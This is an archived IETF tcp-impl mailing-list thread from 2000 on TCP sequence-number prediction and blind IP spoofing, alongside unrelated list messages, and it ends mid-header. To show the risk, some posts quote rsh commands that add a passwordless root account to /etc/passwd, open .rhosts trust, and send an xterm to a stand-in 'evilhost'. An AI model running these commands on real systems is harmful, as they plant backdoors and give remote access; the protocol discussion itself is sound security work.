IBM X-Mailer: Mozilla 4.61 [en] (X11; U; AIX 4.3) X-Accept-Language: en MIME-Version: 1.0 To: der Mouse , tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers References: <200009202135.RAA26301@Twig.Rodents.Montreal.QC.CA> <39C940C0.D563628A@austin.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit venkat venkatsubra wrote: > > If you know the victim's ISN to within a few guesses (where "a few" can > > mean as many as several thousand, depending on factors such as the > > bandwidth available), you can just flood it with SYN-ACKs using all > > possible sequence numbers. You won't know which one worked, but one of > > them will. (The rest will be dropped as out-of-window - are there any > > known TCPs that will generate any kind of alert upon seeing a flood of > > out-of-sequence packets?) > > If you are meaning flood with ACKs, the one that > doesn't ACK the SYN-ACK will result in connection > getting reset. The segment is not simply thrown away. > > Venkat Correction. Looks like only RST is sent. And the connection continues to remain in SYN_RECEIVED state. Venkat From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 21:09:09 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA12425 for ; Wed, 20 Sep 2000 21:09:09 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id SAA14846 for tcp-impl-outgoing; Wed, 20 Sep 2000 18:58:03 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id SAA14818 for ; Wed, 20 Sep 2000 18:58:00 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id SAA09831; Wed, 20 Sep 2000 18:58:00 -0400 Received: from mg03.austin.ibm.com(192.35.232.20) by seraph3.lerc.nasa.gov via smap (V5.5) id xma009779; Wed, 20 Sep 00 18:57:09 -0400 Received: from netmail1.austin.ibm.com (netmail1.austin.ibm.com [9.53.250.96]) by mailgate3.austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id RAA46908 for ; Wed, 20 Sep 2000 17:36:08 -0500 Received: from austin.ibm.com (ambika.austin.ibm.com [9.53.150.77]) by netmail1.austin.ibm.com (8.8.5/8.8.5) with ESMTP id RAA36054; Wed, 20 Sep 2000 17:57:05 -0500 Message-ID: <39C940C0.D563628A@austin.ibm.com> Date: Wed, 20 Sep 2000 17:57:04 -0500 From: venkat venkatsubra Organization: IBM X-Mailer: Mozilla 4.61 [en] (X11; U; AIX 4.3) X-Accept-Language: en MIME-Version: 1.0 To: der Mouse CC: tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers References: <200009202135.RAA26301@Twig.Rodents.Montreal.QC.CA> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit > If you know the victim's ISN to within a few guesses (where "a few" can > mean as many as several thousand, depending on factors such as the > bandwidth available), you can just flood it with SYN-ACKs using all > possible sequence numbers. You won't know which one worked, but one of > them will. (The rest will be dropped as out-of-window - are there any > known TCPs that will generate any kind of alert upon seeing a flood of > out-of-sequence packets?) If you are meaning flood with ACKs, the one that doesn't ACK the SYN-ACK will result in connection getting reset. The segment is not simply thrown away. Venkat From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 21:17:02 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA12511 for ; Wed, 20 Sep 2000 21:17:02 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id TAA16391 for tcp-impl-outgoing; Wed, 20 Sep 2000 19:16:21 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id TAA16378 for ; Wed, 20 Sep 2000 19:16:18 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id TAA11968; Wed, 20 Sep 2000 19:16:16 -0400 Received: from mg03.austin.ibm.com(192.35.232.20) by seraph3.lerc.nasa.gov via smap (V5.5) id xma011931; Wed, 20 Sep 00 19:16:12 -0400 Received: from netmail1.austin.ibm.com (netmail1.austin.ibm.com [9.53.250.96]) by mailgate3.austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id RAA32830 for ; Wed, 20 Sep 2000 17:55:12 -0500 Received: from austin.ibm.com (ambika.austin.ibm.com [9.53.150.77]) by netmail1.austin.ibm.com (8.8.5/8.8.5) with ESMTP id SAA50894; Wed, 20 Sep 2000 18:16:09 -0500 Message-ID: <39C94539.3C286FC2@austin.ibm.com> Date: Wed, 20 Sep 2000 18:16:09 -0500 From: venkat venkatsubra Organization: IBM X-Mailer: Mozilla 4.61 [en] (X11; U; AIX 4.3) X-Accept-Language: en MIME-Version: 1.0 To: der Mouse , tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers References: <200009202135.RAA26301@Twig.Rodents.Montreal.QC.CA> <39C940C0.D563628A@austin.ibm.com> <39C94220.E1198F23@austin.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit venkat venkatsubra wrote: > venkat venkatsubra wrote: > > > > If you know the victim's ISN to within a few guesses (where "a few" can > > > mean as many as several thousand, depending on factors such as the > > > bandwidth available), you can just flood it with SYN-ACKs using all > > > possible sequence numbers. You won't know which one worked, but one of > > > them will. (The rest will be dropped as out-of-window - are there any > > > known TCPs that will generate any kind of alert upon seeing a flood of > > > out-of-sequence packets?) > > > > If you are meaning flood with ACKs, the one that > > doesn't ACK the SYN-ACK will result in connection > > getting reset. The segment is not simply thrown away. > > > > Venkat > > Correction. Looks like only RST is sent. > And the connection continues to remain > in SYN_RECEIVED state. > > Venkat And der you are right if it is outside the window it will be dropped after sending an ACK. If within the window a RST is sent. Venkat From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 01:46:46 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA23120 for ; Thu, 21 Sep 2000 01:46:45 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id XAA29469 for tcp-impl-outgoing; Wed, 20 Sep 2000 23:26:44 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id XAA29463 for ; Wed, 20 Sep 2000 23:26:43 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id XAA06463; Wed, 20 Sep 2000 23:26:43 -0400 Received: from smtpgate2.syd.iprimus.com.au(203.134.65.91) by seraph3.lerc.nasa.gov via smap (V5.5) id xma006442; Wed, 20 Sep 00 23:26:28 -0400 Received: from james ([203.134.52.152]) by smtpgate2.syd.iprimus.com.au with Microsoft SMTPSVC(5.5.1877.517.51); Thu, 21 Sep 2000 14:27:10 +1100 Message-ID: <001401c0237b$d6744eb0$364214ac@james.cvs.net> From: "Charles Esson" To: "der Mouse" , Subject: Re: TCP sequence numbers Date: Thu, 21 Sep 2000 13:27:13 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit -----Original Message----- From: der Mouse To: tcp-impl@grc.nasa.gov Date: Thursday, September 21, 2000 11:09 AM Subject: Re: TCP sequence numbers >> Why is guessing the sequence number of the first packet before it >> arrives such a big deal? > >Because it allows you to impersonate an arbitrary IP address, provided >you don't care about seeing what the victim sends back, and provided >that the host you're impersonating doesn't RST the connection before >your evil deeds can be done. > >The way it works: > >(1) You send a SYN, with a forged ip_src and whatever ISN you feel > like. Except for the forged ip_src, this is a perfectly normal SYN. > >(2) Victim responds, to the address you're pretending to be, ACKing > your SYN and sending its own SYN, with its own ISN. > >(3) If this were a normal connection, you'd ACK its SYN. But since the > reply goes off towards the machine you're impersonating, rather > than to you, you have to guess the ISN in order to ACK it > acceptably. If you don't see the syn I think it is fair enough to say we don't see the rest of the session. So it's a one sided conversation hoping that the server is lisening. I hope we are not to assume routing didn't worked out for syn but magically works for the rest of the session. If I am close enough to guess the clock value surly I am not on the wrong side of a router; or are we to assume a deterministic router. I'm sorry but if I am going to do this I am going to do it where I can see the reply and I aren't going to bother guessing the ISN. I am going to wait for the server to give it to me; they tend to do that. Regards From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 02:30:54 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA00413 for ; Thu, 21 Sep 2000 02:30:54 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id AAA01839 for tcp-impl-outgoing; Thu, 21 Sep 2000 00:17:12 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id AAA01801 for ; Thu, 21 Sep 2000 00:17:09 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id AAA11086; Thu, 21 Sep 2000 00:17:09 -0400 Received: from rmx614-mta.mail.com(165.251.48.52) by seraph3.lerc.nasa.gov via smap (V5.5) id xma011017; Thu, 21 Sep 00 00:16:26 -0400 Received: from web301-mc.mail.com (web301-mc.mail.com [165.251.48.162]) by rmx614-mta.mail.com (8.9.3/8.9.3) with SMTP id AAA12099 for ; Thu, 21 Sep 2000 00:16:26 -0400 (EDT) Message-ID: <382912510.969509786508.JavaMail.root@web301-mc.mail.com> Date: Thu, 21 Sep 2000 00:16:26 -0400 (EDT) From: Srijith K To: tcp-impl@grc.nasa.gov Subject: Dynamic Network Architecture Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: mail.com X-Originating-IP: 137.132.2.111 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit Hi, I was going through the paper "A Dynamic Network Architecture" by Sean O'Malley and Larry Peterson. In this paper they introduce a dynamic network arch. in which the number of layers visited by each message/packet is variable. I find this a very interesting idea. What do you all say ?? Has any further work been done on this?? Regards, Srijith ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com/?sr=signup From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 12:58:36 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09987 for ; Thu, 21 Sep 2000 12:58:33 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id JAA15510 for tcp-impl-outgoing; Thu, 21 Sep 2000 09:50:12 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id JAA15468 for ; Thu, 21 Sep 2000 09:50:09 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id JAA06992; Thu, 21 Sep 2000 09:50:06 -0400 Received: from anchor-post-33.mail.demon.net(194.217.242.91) by seraph3.lerc.nasa.gov via smap (V5.5) id xma006836; Thu, 21 Sep 00 09:49:43 -0400 Received: from humbug.demon.co.uk ([158.152.11.229]) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 13c6jM-000I6K-0X for tcp-impl@grc.nasa.gov; Thu, 21 Sep 2000 14:49:41 +0100 Received: from humbug.demon.co.uk (localhost [127.0.0.1]) by humbug.demon.co.uk (8.9.3/8.9.3) with ESMTP id OAA00861 for ; Thu, 21 Sep 2000 14:47:18 +0100 Message-ID: <39CA1147.7EF0D8C9@humbug.demon.co.uk> Date: Thu, 21 Sep 2000 14:46:47 +0100 From: Dave Hudson X-Mailer: Mozilla 4.61C-CCK-MCD Caldera Systems OpenLinux [en] (X11; I; Linux 2.3.45 i586) X-Accept-Language: en MIME-Version: 1.0 To: tcp-impl@grc.nasa.gov Subject: Re: Dynamic Network Architecture References: <382912510.969509786508.JavaMail.root@web301-mc.mail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit Hi, Srijith K wrote: > > Hi, > > I was going through the paper "A Dynamic Network Architecture" by Sean > O'Malley and Larry Peterson. In this paper they introduce a dynamic network > arch. in which the number of layers visited by each message/packet is > variable. > > I find this a very interesting idea. What do you all say ?? Has any further > work been done on this?? I believe that there's been quite a lot of further work done by the (same?) team at the University of Arizona (I've got quite a few of their papers in front of me). Having recently read their papers I've found that the system I've been building for embedded networking (initially for 8 bit systems) is very similar. It's a very good concept for building systems when resources are tight (my main target has 128 kBytes of flash for code and 32 kBytes of SRAM for data). Please note that the following comments are entirely based on my experience (with my own code) with such small systems and I'm not sure how well the implementation scales (although I should know fairly soon as the code's being ported to the i386 now). It's also worth noting that the OS hosting this stack supports very fine grained priority handling (it's an RTOS), and this does have an impact... I'll start with the obvious downside: inter-layer transitions cost time. There is an upside that helps compensate this to an extent: binding only those elements that are necessary avoids and wasted conditional code sequences. The net effect is, however, negative. The number of threads required for its use is not dependent on the number of services being handled. In a trivial case, 1 thread per datalink device is sufficient as the threads simply push packets through the stack all the way to the end-application. It looks like on higher performance systems the thread count could be weighted, giving more threads to faster devices. By having a thread per message and avoiding context switching is a big win - in my own case this far outweighs the losses due to inter-layer transitions (very conservatively this is about a 10:1 ratio). By dynamically binding the layers at run-time, the linker can remove any layers that can never be referenced (huge win for small systems) without resorting to a lot of conditional compilation. An example here is that a device doesn't have to carry any SLIP-support code if running purely on Ethernet, or conversely I don't carry any of the ARP, Ethernet framing, etc, when only using SLIP. The downside is that there is some additional overhead to manage the dynamically bound layers. Dynamic binding makes it easy to insert things such as packet filters so this can be a run-time decision, but with no cost if the filter is not bound. The fine-grained layers make it easier to separate policy and mechanism - in my code, when a listening TCP port, receives a SYN, the service bound to the port is upcalled and can decide whether or not to accept or decline the connection. More generally in the TCP case this means that there are no resources being consumed by the stack without the agreement of the applications (or at least the upper layers). Avoiding context switching means that a lot of queuing can be avoided too. An earlier evolution of my stack was far more conventional and used to have threads in the IP layer and each application service as well as in the device drivers. It was fairly trivial to crash the whole system with buffer overflows (only 32k SRAM in the system) - flood pinging would take almost no time to do this. I originally added buffer management and this simply resulted in no crashes but no work being done either (total DoS)! The new stack degrades gracefully - if I have a debug compiled version of the code (does lots of sanity checks) a flood ping may result in a 30% response rate, whilst a full-speed version might yield a 45% response. I was just about to note that one downside with this style of system is that it doesn't support BSD sockets (to support existing code), but of course these can be implemented as (almost) trivial layers on top the "native" code. One other nice feature of this style of system is that it makes it easy to develop. By dynamically binding each of the layers, it's extremely easy to change one of them. My main plan when I start to look at some of the higher-performance TCP extensions will be to retain my existing (slow but working) TCP code bound to my SLIP link for my debugging services whilst binding the newer (faster but, initially at least, probably not-working) TCP code to the Ethernet link. Sorry if this is a bit rambling, but it's about the first time I've tried to explain what I've been doing and I might have got a bit carried away :-) Regards, Dave PS. The code is available under LGPL, although this may move to a slightly less restrictive licence soon to allow it to be used in mask-ROM or OTP microcontrollers. Please see http://liquorice.sourceforge.net/ From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 13:53:09 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11070 for ; Thu, 21 Sep 2000 13:53:07 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id KAA22607 for tcp-impl-outgoing; Thu, 21 Sep 2000 10:31:39 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id KAA22564 for ; Thu, 21 Sep 2000 10:31:36 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id KAA12714; Thu, 21 Sep 2000 10:31:34 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma012634; Thu, 21 Sep 00 10:31:11 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8LEV5M26131 for tcp-impl@grc.nasa.gov env-from ; Thu, 21 Sep 2000 08:31:05 -0600 (MDT) Date: Thu, 21 Sep 2000 08:31:05 -0600 (MDT) From: Vernon Schryver Message-Id: <200009211431.e8LEV5M26131@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: "Charles Esson" > ... > If you don't see the syn I think it is fair enough to say we don't see the > rest of the session. > > So it's a one sided conversation hoping that the server is lisening. Yes, it might be an rsh command that does something like echo badguy::0:0:&:/:/bin/sh >> /etc/passwd > ... > If I am close enough to guess the clock value surly I am not on the wrong > side of a router; or are we to assume a deterministic router. Contrary to one claim in this thread, even being on the same Ethernet segment as the target is *not* sufficient to predict or even determine the time at which the target receives your packets to closer than several dozen microseconds. You can get to several dozen microseconds only in exceptional cases where both the target and the attack machine have unusually good clocks and clock synchronization software. Consider that a change in relative dates of 10 usec per second needs crystals differing by only one part in 10**5. I've known expensive, commercial systems with clocks worse than one part in 10**4 without NTP, `timed`, or other network time protocols, and not much better than 10**5 with time protocols and kernel software adjustments to the crystal's frequency. > I'm sorry but if I am going to do this I am going to do it where I can see > the reply and I aren't going to bother guessing the ISN. I am going to wait > for the server to give it to me; they tend to do that. As I've said several times before, if you're where you can see the reply (e.g. on the same segment), then there are likely to be other, much easier attacks available. For example, if you can see ISN's to attack rlogin and rsh, then you can probably also see cleartext rlogin passwords. On the other hand, guessing ISN's is sometimes called the Mitnick Attack, because its use from afar is not theoretical. Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 14:28:48 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11828 for ; Thu, 21 Sep 2000 14:28:47 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id LAA05032 for tcp-impl-outgoing; Thu, 21 Sep 2000 11:41:03 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id LAA04979 for ; Thu, 21 Sep 2000 11:40:59 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id LAA23558; Thu, 21 Sep 2000 11:40:58 -0400 Received: from tnt.isi.edu(128.9.128.128) by seraph3.lerc.nasa.gov via smap (V5.5) id xma023434; Thu, 21 Sep 00 11:40:32 -0400 Received: from gra.isi.edu (gra.isi.edu [128.9.160.133]) by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10265; Thu, 21 Sep 2000 08:37:10 -0700 (PDT) From: Bob Braden Received: (from braden@localhost) by gra.isi.edu (8.8.7/8.8.6) id PAA10874; Thu, 21 Sep 2000 15:37:10 GMT Date: Thu, 21 Sep 2000 15:37:10 GMT Message-Id: <200009211537.PAA10874@gra.isi.edu> To: tcp-impl@grc.nasa.gov, srijith@mail.com Subject: Re: Dynamic Network Architecture X-Sun-Charset: US-ASCII Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk *> From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 21:49:15 2000 *> Date: Thu, 21 Sep 2000 00:16:26 -0400 (EDT) *> From: Srijith K *> To: tcp-impl@grc.nasa.gov *> Subject: Dynamic Network Architecture *> Mime-Version: 1.0 *> Content-Transfer-Encoding: 7bit *> X-Mailer: mail.com *> X-Originating-IP: 137.132.2.111 *> Sender: owner-tcp-impl@lerc.nasa.gov *> Precedence: bulk *> X-Lines: 18 *> *> Hi, *> *> I was going through the paper "A Dynamic Network Architecture" by Sean *> O'Malley and Larry Peterson. In this paper they introduce a dynamic network *> arch. in which the number of layers visited by each message/packet is *> variable. *> *> I find this a very interesting idea. What do you all say ?? Has any further *> work been done on this?? *> *> Regards, *> Srijith *> *> This email list is for TCP implementation issues. Your message is clearly out of bounds. May I suggest the end2end-interest@isi.edu list? Bob Braden *> ______________________________________________ *> FREE Personalized Email at Mail.com *> Sign up at http://www.mail.com/?sr=signup *> *> From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 16:03:59 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA13689 for ; Thu, 21 Sep 2000 16:03:59 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id NAA21707 for tcp-impl-outgoing; Thu, 21 Sep 2000 13:26:25 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id NAA21660 for ; Thu, 21 Sep 2000 13:26:21 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id NAA13934; Thu, 21 Sep 2000 13:26:19 -0400 Received: from boreas.isi.edu(128.9.160.161) by seraph3.lerc.nasa.gov via smap (V5.5) id xma013785; Thu, 21 Sep 00 13:25:39 -0400 Received: from ISI.EDU (jet.isi.edu [128.9.160.87]) by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id KAA18282; Thu, 21 Sep 2000 10:25:36 -0700 (PDT) Message-Id: <200009211725.KAA18282@boreas.isi.edu> To: IETF-Announce:; Subject: RFC 2923 on TCP Problems with Path MTU Discovery Cc: rfc-ed@ISI.EDU, tcp-impl@grc.nasa.gov Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary=NextPart Date: Thu, 21 Sep 2000 10:25:36 -0700 From: RFC Editor Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk --NextPart A new Request for Comments is now available in online RFC libraries. RFC 2923 Title: TCP Problems with Path MTU Discovery Author(s): K. Lahey Status: Informational Date: September 2000 Mailbox: kml@bayarea.net Pages: 14 Characters: 30976 Updates/Obsoletes/SeeAlso: None I-D Tag: draft-ietf-tcpimpl-pmtud-04.txt URL: ftp://ftp.isi.edu/in-notes/rfc2923.txt This memo catalogs several known Transmission Control Protocol (TCP) implementation problems dealing with Path Maximum Transmission Unit Discovery (PMTUD), including the long-standing black hole problem, stretch acknowlegements (ACKs) due to confusion between Maximum Segment Size (MSS) and segment size, and MSS advertisement based on PMTU. This document is a product of the TCP Implementation Working Group of the IETF. This memo provides information for the Internet community. It does not specify an Internet standard of any kind. Distribution of this memo is unlimited. This announcement is sent to the IETF list and the RFC-DIST list. Requests to be added to or deleted from the IETF distribution list should be sent to IETF-REQUEST@IETF.ORG. Requests to be added to or deleted from the RFC-DIST distribution list should be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG. Details on obtaining RFCs via FTP or EMAIL may be obtained by sending an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body help: ways_to_get_rfcs. For example: To: rfc-info@RFC-EDITOR.ORG Subject: getting rfcs help: ways_to_get_rfcs Requests for special distribution should be addressed to either the author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG. Unless specifically noted otherwise on the RFC itself, all RFCs are for unlimited distribution.echo Submissions for Requests for Comments should be sent to RFC-EDITOR@RFC-EDITOR.ORG. Please consult RFC 2223, Instructions to RFC Authors, for further information. Joyce K. Reynolds and Sandy Ginoza USC/Information Sciences Institute ... Below is the data which will enable a MIME compliant Mail Reader implementation to automatically retrieve the ASCII version of the RFCs. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="RFC-INFO@RFC-EDITOR.ORG" Content-Type: text/plain Content-ID: <000921102229.RFC@RFC-EDITOR.ORG> RETRIEVE: rfc DOC-ID: rfc2923 --OtherAccess Content-Type: Message/External-body; name="rfc2923.txt"; site="ftp.isi.edu"; access-type="anon-ftp"; directory="in-notes" Content-Type: text/plain Content-ID: <000921102229.RFC@RFC-EDITOR.ORG> --OtherAccess-- --NextPart-- From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 16:19:01 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA13901 for ; Thu, 21 Sep 2000 16:19:00 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id NAA26501 for tcp-impl-outgoing; Thu, 21 Sep 2000 13:56:20 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id NAA26471 for ; Thu, 21 Sep 2000 13:56:19 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id NAA20313; Thu, 21 Sep 2000 13:56:15 -0400 Received: from twig.rodents.montreal.qc.ca(132.206.78.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma020230; Thu, 21 Sep 00 13:56:13 -0400 Received: (from mouse@localhost) by Twig.Rodents.Montreal.QC.CA (8.8.8/8.8.8) id NAA28135; Thu, 21 Sep 2000 13:56:03 -0400 (EDT) Date: Thu, 21 Sep 2000 13:56:03 -0400 (EDT) From: der Mouse Message-Id: <200009211756.NAA28135@Twig.Rodents.Montreal.QC.CA> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit To: tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 8bit >>> Why is guessing the sequence number of the first packet before it >>> arrives such a big deal? >> Because it allows you to impersonate an arbitrary IP address, >> provided you don't care about seeing what the victim sends back, and >> provided that the host you're impersonating doesn't [notice]. > If you don't see the syn I think it is fair enough to say we don't > see the rest of the session. Right. "provided you don't care about seeing what the victim sends back", I wrote, and this is what I was talking about. > So it's a one sided conversation hoping that the server is lisening. Right. Machines configured with .rhosts-style trust have been broken into this way. You don't need more than the likes of rsh victim "echo + + >> .rhosts" or rsh victim "xterm -display evilhost:14" which are small and simple enough to do open-loop. One can't do anything very elaborate over a source-spoofed connection, but - if the victim host is vulnerable to this sort of chicanery - one doesn't need anything very elaborate. As someone already pointed out, hosts which are that vulnerable are being ruthlessly culled from the net. (Perhaps fortunately....) > If I am close enough to guess the clock value surly I am not on the > wrong side of a router; or are we to assume a deterministic router. Oh, you don't just guess everything out of the blue. First you establish a "legitimate" (=unforged) connection to the victim, so's to get a real ISN. Depending on how the victim generates ISNs you may need to do this many times to get enough information to succeed in your guessing.... > I'm sorry but if I am going to do this I am going to do it where I > can see the reply and I aren't going to bother guessing the ISN. Sure, if you can, that's surer. But your skr1pt kiddie with a modem and too much time on his hands generally is in no position to sniff traffic between the victim and any host it trusts. der Mouse mouse@rodents.montreal.qc.ca 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B From owner-tcp-impl@lerc.nasa.gov Thu Sep 21 21:12:02 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA16718 for ; Thu, 21 Sep 2000 21:12:02 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id SAA04792 for tcp-impl-outgoing; Thu, 21 Sep 2000 18:58:32 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id SAA04754; Thu, 21 Sep 2000 18:58:28 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id SAA20747; Thu, 21 Sep 2000 18:58:27 -0400 Received: from daffy.ee.lbl.gov(131.243.1.31) by seraph3.lerc.nasa.gov via smap (V5.5) id xma020617; Thu, 21 Sep 00 18:57:55 -0400 Received: (from vern@localhost) by daffy.ee.lbl.gov (8.10.0/8.10.0) id e8LMvst27041; Thu, 21 Sep 2000 15:57:54 -0700 (PDT) Message-Id: <200009212257.e8LMvst27041@daffy.ee.lbl.gov> To: tcp-impl@grc.nasa.gov Subject: adios tcpimpl (the working group, but not the mailing list) Cc: mallman@grc.nasa.gov, sob@harvard.edu Date: Thu, 21 Sep 2000 15:57:54 